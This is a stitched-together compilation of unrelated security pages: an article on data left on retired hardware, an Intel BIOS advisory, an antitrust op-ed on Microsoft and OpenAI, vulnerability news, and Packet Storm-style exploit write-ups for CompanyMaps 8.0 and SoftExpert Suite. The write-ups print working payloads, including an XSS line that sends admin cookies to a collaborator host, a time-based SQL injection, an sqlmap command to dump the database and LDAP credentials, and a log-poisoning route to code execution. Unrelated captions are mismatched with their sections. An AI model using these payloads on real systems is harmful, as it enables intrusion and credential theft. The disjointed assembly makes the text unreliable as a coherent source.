Retired hardware and forgotten cloud virtual machines are a trove of insecure confidential data. Here's how to ameliorate that weakness.

The stories are both infamous and legendary. Surplus computing equipment purchased at auction contains thousands of files with private information, including employee health records, banking information, and other data covered by a multitude of state and local privacy and data laws. Long-forgotten virtual machines (VMs) with confidential data are compromised — and no one knows. Enterprise-class routers with topology data about corporate networks are sold on eBay. With so much confidential data made available to the public on a daily basis, what else are companies exposing to potential attackers?

The fact is a lot of data gets exposed regularly. Last month, for example, cybersecurity vendor ESET reported that 56% of decommissioned routers sold on the secondary market contained sensitive corporate material. This included such configuration data as router-to-router authentication keys, IPsec and VPN credentials and/or hashed passwords, credentials for connections to third-party networks, and connection details for some specific applications.

Cloud-based vulnerabilities that result in data leaks are usually the result of misconfigurations, says Greg Hatcher, a former instructor at the National Security Agency and now CEO and co-founder of White Knight Labs, a cybersecurity consultancy that specializes in offensive cyber operations. Sometimes the data is put at risk deliberately but naively, he notes, such as proprietary code finding its way into ChatGPT in the recent Samsung breach.

Confidential data, such as credentials and corporate secrets, are often stored in GitHub and other software repositories, Hatcher says. To search for multifactor authentication or bypasses for valid credentials, attackers can use MFASweep, a PowerShell script that attempts to log into various Microsoft services using a provided set of credentials that attempts to identify if MFA is enabled; Evilginx, a man-in-the-middle attack framework used for phishing login credentials along with session cookies; and other tools. These tools can find access vulnerabilities into a variety of systems and applications, bypassing existing security configurations.

Having both a hardware and software asset inventory is essential, Hatcher says. The hardware inventory should include all devices because the security team needs to know exactly what hardware is on the network for maintenance and compliance reasons. Security teams can use a software asset inventory to protect their cloud environments, since they cannot access most cloud-based hardware. (The exception is a private cloud with company-owned hardware in the service provider's data center, which would fall under the hardware asset inventory as well.)

Even when applications are deleted from retired hard disks, the unattend.xml file in the Windows operating system on the disk still holds confidential data that can lead to breaches, Hatcher says.

"If I get my hands on that and that local admin password is reused throughout the enterprise environment, I now can get an initial foothold," he explains. "I already can move laterally throughout the environment."

**Sensitive Data Might Not Stay Hidden**

Short of physically destroying disks, the next best option is overwriting the entire disk — but that option can sometimes be overcome as well.

Oren Koren, co-founder and chief product officer of Tel Aviv-based Veriti.ai, says service accounts are an often-ignored source of data that attackers can exploit, both on production servers and when databases on retired servers are left exposed. Compromised mail transfer agents, for example, can act as a man-in-the-middle attack, decrypting simple mail transfer protocol (SMTP) data as it is being sent from production servers.

Similarly, other service accounts could be compromised if the attacker is able to determine the account's primary function and find which security components are turned off to meet that goal. An example would be turning off data analysis when super-low latency is required.

Just as service accounts can be compromised when left unattended, so can orphaned VMs. Hatcher says that in popular cloud environments, VMs are often not decommissioned.

"As a red teamer and a penetration tester, we love these things because if we get access to that, we can actually create persistence within the cloud environment by popping in \[and\] popping a beacon on one of those boxes that can talk back to our \[command-and-control\] server," he says. "Then we can kind of hold onto that access indefinitely."

One file type that often gets short shrift is unstructured data. While rules are generally in place for structured data — online forms, network logs, Web server logs, or other quantitative data from relational databases — the unstructured data can be problematic, says Mark Shainman, senior director of governance products at Securiti.ai. This is data from nonrelational databases, data lakes, email, call logs, Web logs, audio and video communications, streaming environments, and multiple generic data formats often used for spreadsheets, documents, and graphics.

"Once you understand where your sensitive data exists, you can put in place specific policies that protect that data," says Shainman.

**Access Policies Can Remediate Vulnerabilities**

The thought process behind sharing data often identifies potential vulnerabilities.

Says Shainman: "If I'm sharing data with a third party, do I put specific encryption or masking policies in place, so when that data is pushed downstream, they have the ability to leverage that data, but that sensitive data that exists within that environment is not exposed?"

Access intelligence is a group of policies that allows specific individuals to access data that exists within a platform. These policies control the ability to view and process data at the permission level of the document, rather than on a cell basis on a spreadsheet, for example. The approach bolsters third-party risk management (TPRM) by allowing partners to access data approved for their consumption; data outside that permission, even if it is accessed, cannot be viewed or processed.

Documents such as NIST's Special Publication 800-80 Guidelines for Media Sanitation and the Enterprise Data Management (EDM) Council's security frameworks can help security pros define controls for identifying and remediating vulnerabilities related to decommissioning hardware and protecting data.

Making Sure Lost Data Stays Lost

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-30768: INTEL-SA-00056

Regulators should apply a healthy skepticism to generative AI developments to guarantee a competitive marketplace.

Generative artificial intelligence (AI) is developing at breakneck speed. After a couple of months of unalloyed enthusiasm, crucial questions about accuracy, bias, security, and regulation are now surfacing. Recently we've seen officials in Germany and Italy scrutinize or outright ban ChatGPT over security and privacy concerns. US regulators are moving toward a similar healthy skepticism.

Blanket regulations on particular applications of AI models might appeal to some as a way to constrain markets, but as Bill Gates recently said, "it won't solve \[its\] challenges." A better way for regulators to ensure AI development and deployment is safe, open, and producing real-world benefits is to keep markets robust by scrutinizing AI partnerships that lack transparency and other arrangements that try to prevent fair competition. The standard to strive for is an innovative, transparent, and competitive marketplace that can bring life-changing technology to the masses in safe and responsible ways.

**Microsoft's Footprint**

The place to start is with the partnership between Microsoft and OpenAI. Microsoft grasped the potential of OpenAI's work long before the resounding success of ChatGPT's public launch. But Microsoft's 2019 deal with OpenAI was not a conventional financial investment. Instead, the initial billion dollars from Microsoft largely came in the form of Azure credits, a de facto subsidy that led to OpenAI being built on Microsoft's cloud — exclusively and rent free.

This unusual partnership has created deep ties between Microsoft and OpenAI's technology infrastructures and sets a clear path to a technological walled garden. The agreement presents pressing questions for regulators: why should this partnership not be viewed as a deft move to create a subsidiary relationship while avoiding antitrust scrutiny? If so, should the Federal Trade Commission step in immediately to examine the impact on the competitive landscape? Is telegraphing a walled-garden strategy enough to warrant investigation and potential action by regulators today to forestall future harm?

History suggests the answer to these questions should be yes. Digital technology over the past 40 years has followed a predictable cycle: a long period of slow, incremental evolution culminating in a threshold moment that changes the world. This pattern led to the World Wide Web in the 1990s, mobile phones in the 2000s, and is happening today with AI. As AI prepares to enter a new phase of broad adoption and revolutionary technologies, the biggest risk that technology itself cannot solve for will very likely be anti-competitive business practices.

History also shows what will likely happen if regulators stand by. Large, first-mover firms will try to lock up foundational technologies and use market power to create long-term advantage. Microsoft wrote the playbook with the bundling of Internet Explorer into Windows and now appears ready to rerun that familiar play.

**Equal Terms**

If OpenAI can't run its most advanced models efficiently on non-Microsoft platforms, society will lose out. We want foundational technologies to be available on equal terms to innovators large and small, established and otherwise. We want companies to succeed wildly by using and building on foundational technologies, on the basis that innovation and competition creates previously unimaginable products that benefit customers and society at large. We don't want one company serving as gatekeeper and hoarding foundational technology to limit innovation from competitors. And more importantly, if we let a Microsoft AI walled garden be built, are we inviting other AI walled gardens to quickly follow — an Oracle walled garden, a Meta walled garden, a Google walled garden — limiting interoperability and stunting innovation? This is precisely the scenario that modern antitrust policy aims to prevent.

An optimist might object to this argument and point out that the early pathway for foundational technologies is notoriously hard to foresee. No one can prove at this moment that new entrants and open source alternatives won't reduce OpenAI's lead or even get out ahead. But if that hopeful view is incorrect, going backward to undo the damage will be tougher, bordering on impossible. Hoping for the best isn't a good strategy in antitrust, just as elsewhere.

Modern innovation often requires massively ambitious bets. It's one thing for a monolithic firm to invest billions in a startup with long-term research and development programs. It's another thing entirely to shape the investment into a captive relationship with a just-emerging foundational technology whose application could lead the innovation environment for decades.

Regulators are right to question the policies that guide AI ethics, fairness, and values. But one of the most effective ways to advance those goals is to ensure a broad, diverse, and competitive marketplace where the key foundational technologies are open for equal access. That means taking steps now to prevent "walled gardens'' from being built in the first place. Rather than scrambling for a cure too far down the road, regulators should step in now and ensure the Microsoft-OpenAI partnership isn't simply anti-competitive activity under a clever disguise. Otherwise, a single company's profit could be set up to prevail over what promises to be a world changing threshold moment.

AI Is About to Be Everywhere: Where Will Regulators Be?

Cross Site Scripting vulnerability found in Maximilian Vogt cmaps v.8.0 allows a remote attacker to execute arbitrary code via the auditlog tab in the admin panel.

    # Exploit Title: Stored Cross Site Scripting# Google Dork:# Date: 27.04.2023# Exploit Author: Lucas Noki (0xPrototype)# Vendor Homepage: https://github.com/vogtmh# Software Link: https://github.com/vogtmh/cmaps# Version: 8.0# Tested on: Mac, Windows, Linux# CVE : CVE-2023-29983*Steps to reproduce:*1. Clone the repository and install the application2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameterIn a real world case you would need to wait for the admin to log into the application and open the auditlog tab.Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

CVE-2023-29983: CompanyMaps 8.0 Cross Site Scripting ≈ Packet Storm

A security vulnerability has been disclosed in the popular WordPress plugin Essential Addons for Elementor that could be potentially exploited to achieve elevated privileges on affected sites.
The issue, tracked as CVE-2023-32243, has been addressed by the plugin maintainers in version 5.7.2 that was shipped on May 11, 2023. Essential Addons for Elementor has over one million active

Vulnerability / Website Security

A security vulnerability has been disclosed in the popular WordPress plugin Essential Addons for Elementor that could be potentially exploited to achieve elevated privileges on affected sites.

The issue, tracked as CVE-2023-32243, has been addressed by the plugin maintainers in version 5.7.2 that was shipped on May 11, 2023. Essential Addons for Elementor has over one million active installations.

"This plugin suffers from an unauthenticated privilege escalation vulnerability and allows any unauthenticated user to escalate their privilege to that of any user on the WordPress site," Patchstack researcher Rafie Muhammad said.

Successful exploitation of the flaw could permit a threat actor to reset the password of any arbitrary user as long as the malicious party is aware of their username. The shortcoming is believed to have existed since version 5.4.0.

This can have serious ramifications as the flaw could be weaponized to reset the password associated with an administrator account and seize full control of the website.

"This vulnerability occurs because this password reset function does not validate a password reset key and instead directly changes the password of the given user," Muhammad pointed out.

The disclosure comes more than a year after Patchstack revealed another severe flaw in the same plugin that could have been abused to execute arbitrary code on compromised websites.

The findings also follow the discovery of a new wave of attacks targeting WordPress sites since late March 2023 that aims to inject the infamous SocGholish (aka FakeUpdates) malware.

SocGholish is a persistent JavaScript malware framework that functions as an initial access provider to facilitate the delivery of additional malware to infected hosts. The malware has been distributed via drive-by downloads masquerading as a web browser update.

The latest campaign detected by Sucuri has been found to leverage compression techniques using a software library called zlib to conceal the malware, reduce its footprint, and avoid detection.

"Bad actors are continually evolving their tactics, techniques, and procedures to evade detection and prolong the life of their malware campaigns," Sucuri researcher Denis Sinegubko said.

"SocGholish malware is a prime example of this, as attackers have altered their approach in the past to inject malicious scripts into compromised WordPress websites."

UPCOMING WEBINAR

Learn to Stop Ransomware with Real-Time Protection

Join our webinar and learn how to stop ransomware attacks in their tracks with real-time MFA and service account protection.

Save My Seat!

It's not just SocGholish. Malwarebytes, in a technical report this week, detailed a malvertising campaign that serves visitors to adult websites with popunder ads that simulate a fake Windows update to drop the "in2al5d p3in4er" (aka Invalid Printer) loader.

"The scheme is very well designed as it relies on the web browser to display a full screen animation that very much resembles what you'd expect from Microsoft," Jérôme Segura, director of threat intelligence at Malwarebytes, said.

The loader, which was documented by Morphisec last month, is designed to check the system's graphic card to determine if it's running on a virtual machine or in a sandbox environment, and ultimately launch the Aurora information stealer malware.

The campaign, per Malwarebytes, has claimed 585 victims over the past two months, with the threat actor also linked to other tech support scams and an Amadey bot command-and-control panel.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

 Severe Security Flaw Exposes Over a Million WordPress Sites to Hijack

Cross Site Scripting (XSS) vulnerability in vogtmh cmaps (companymaps) 8.0 allows attackers to execute arbitrary code.

    # Exploit Title: Reflected Cross Site Scripting- Google Dork:- Date: 27.04.2023- Exploit Author: Lucas Noki (0xPrototype)- Vendor Homepage: https://github.com/vogtmh- Software Link: https://github.com/vogtmh/cmaps- Version: 8.0- Tested on: Mac, Windows, Linux- CVE : CVE-2023-29808*Description:*The vulnerability found is Reflected Cross Site Scripting. When the `/index.php?map=overview&findme=` endpoint is hit with a request where the "findme" parameter contains a malicious payload we have the possibility to perform an XSS attack. This happens because the input isn't sanitized.*Steps to reproduce:*1. Clone the repository and install the application2. Send a maliciously crafted payload via the "findme" parameter to the following endpoint: /index.php?map=overview&findme=3. The payload used is: ";alert(document.cookie)//4. Simply visiting the complete URL: http://IP/index.php?map=overview&findme=";alert(document.cookie)// is enough. Now an alertbox should pop up with your current cookie value. <img src="Screenshot 2023-05-03 at 17.56.59.png" alt="Screenshot 2023-05-03 at 17.56.59" style="zoom:50%;" />Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

CVE-2023-29808: Companymaps 8.0 Cross Site Scripting ≈ Packet Storm

SQL injection vulnerability found in Maximilian Vogt companymaps (cmaps) v.8.0 allows a remote attacker to execute arbitrary code via a crafted script in the request.

# Exploit Title: Unauthenticated SQL injection  
- Google Dork:  
- Date: 27.04.2023  
- Exploit Author: Lucas Noki (0xPrototype)  
- Vendor Homepage: https://github.com/vogtmh  
- Software Link: https://github.com/vogtmh/cmaps  
- Version: 8.0  
- Tested on: Mac, Windows, Linux  
- CVE : CVE-2023-29809

*Description:*

The vulnerability found is an SQL injection. The `bookmap` parameter is vulnerable. When visiting the page: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test we get the normal JSON response. However if a single quote gets appended to the value of the `bookmap` parameter we get an error message:  
```html  
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />  
```

Now if two single quotes get appended we get the normal response without an error. This confirms the opportunity for sql injection. To really prove the SQL injection we append the following payload:   
```  
'-(select*from(select+sleep(2)+from+dual)a)--+  
```

The page will sleep for two seconds. This confirms the SQL injection.

*Steps to reproduce:*

1. Send the following payload to test the vulnerability: ```'-(select*from(select+sleep(2)+from+dual)a)--+```

2. If the site slept for two seconds run the following sqlmap command to dump the whole database including the ldap credentials.  
   ```shell  
   python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump  
   ```

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

## Request to the server:

<img src="Screenshot 2023-04-30 at 22.23.51.png" alt="Screenshot 2023-04-30 at 22.23.51" style="zoom:50%;" />

## Response from the server:

Look at the response time.

<img src="Screenshot 2023-04-30 at 22.24.35.png" alt="Screenshot 2023-04-30 at 22.24.35" style="zoom:50%;" />

CVE-2023-29809: Companymaps 8.0 SQL Injection ≈ Packet Storm

SoftExpert (SE) Excellence Suite 2.x versions before 2.1.3 is vulnerable to Local File Inclusion in the function /se/v42300/generic/gn_defaultframe/2.0/defaultframe_filter.php.

**Remote Code Execution in SoftExpert Excellence Suite 2.0 - CVE-2023-30330**

Authenticated Local File Inclusion to Remote Code Execution on SoftExpert Excellence Suite EQM.

CVE-2023-30330

*   SE Suite 2.x versions before 2.1.3
*   Tested on versions: 2.0.15.31 and 2.0.15.115

**LFI PoC**

https://github.com/Filiplain/LFI-to-RCE-SE-Suite-2.0/tree/main/PoC

**1- Local File Inclusion:**

The researcher was able to find a PHP function **"/se/v42300/generic/gn\_defaultframe/2.0/defaultframe\_filter.php"** that includes a file with extension **".inc"** in a base64 encoding format through the **“managerPath”** parameter in a POST request. By changing the **“.inc”** file to for example **“C:\\windows\\win.ini”** and converting it back to base64, we are going to get that file on the system.

 

The PHP file **"defaultframe\_filter.php"** is using the function “require\_once()” to include the files, this function could allow a hacker to execute Remote Code Execution by including poisoned logs.

**2- Remote Code Execution:**

*   We can include and read PHP error logs.
*   We can use require\_once() to execute PHP code.
*   We need to insert PHP code into the error logs.

By analyzing the **“user\_action.php”** function when uploading a new profile picture, we can notice that when you upload an invalid or malicious image, the page will throw an error 401. After causing the error you can read the logs again and see that some parameters like the “Referer” header will be logged, knowing this we can inject PHP code into the **“Referer”** header.

After trying to upload the malicious image and injecting PHP code into the Referer, we can confirm the log poisoning by reading the logs.

Now we can execute commands by reading the logs. **Command:** whoami

CVE-2023-30330: GitHub - Filiplain/LFI-to-RCE-SE-Suite-2.0: Authenticated Local File Inclusion to Remote Code Execution on SoftExpert Suite EQM.


IBM WebSphere Application Server 8.5 and 9.0 is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 249185.



**Security Bulletin**

  

**Summary**

IBM WebSphere Application Server is vulnerable to an XML External Entity (XXE) Injection vulnerability. This has been addressed in the remediation section.

**Vulnerability Details**

**CVEID:**   CVE-2023-27554  
**DESCRIPTION:**   IBM WebSphere Application Server is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. IBM X-Force ID: 249185.  
CVSS Base score: 6.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/249185 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:L)

**Affected Products and Versions**

Affected Product(s)

Version(s)

IBM WebSphere Application Server

9.0

IBM WebSphere Application Server

8.5

**Remediation/Fixes**

 IBM strongly recommends addressing the vulnerability now by applying a currently available interim fix or fix pack that contains the APAR PH53252.

**For IBM WebSphere Application Server traditional:**

**For V9.0.0.0 through 9.0.5.15:**  
· Upgrade to minimal fix pack levels as required by interim fix and then apply Interim Fix PH53252  
\--OR--  
· Apply Fix Pack 9.0.5.16 or later (targeted availability 2Q2023). 

**For V8.5.0.0 through 8.5.5.23:**  
· Upgrade to minimal fix pack levels as required by interim fix and then apply Interim Fix PH53252  
\--OR--  
· Apply Fix Pack 8.5.5.24 or later (targeted availability 3Q2023). 

Additional interim fixes may be available and linked off the interim fix download page.

**Workarounds and Mitigations**

None

**References**

Off

**Acknowledgement**

**Change History**

10 May 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSEQTP","label":"WebSphere Application Server"},"Component":"","Platform":\[{"code":"PF002","label":"AIX"},{"code":"PF010","label":"HP-UX"},{"code":"PF012","label":"IBM i"},{"code":"PF016","label":"Linux"},{"code":"PF027","label":"Solaris"},{"code":"PF033","label":"Windows"},{"code":"PF035","label":"z\\/OS"}\],"Version":"9.0,8.5","Edition":"Advanced,Base,Developer,Enterprise,Express,Network Deployment,Single Server","Line of Business":{"code":"LOB45","label":"Automation"}}\]

CVE-2023-27554: IBM WebSphere Application Server is vulnerable to an XML External Entity (XXE) Injection vulnerability (CVE-2023-27554)

The Windows kernel suffers from out-of-bounds read vulnerabilities when operating on invalid registry paths in CmpDoReDoCreateKey / CmpDoReOpenTransKey.

Tag

#windows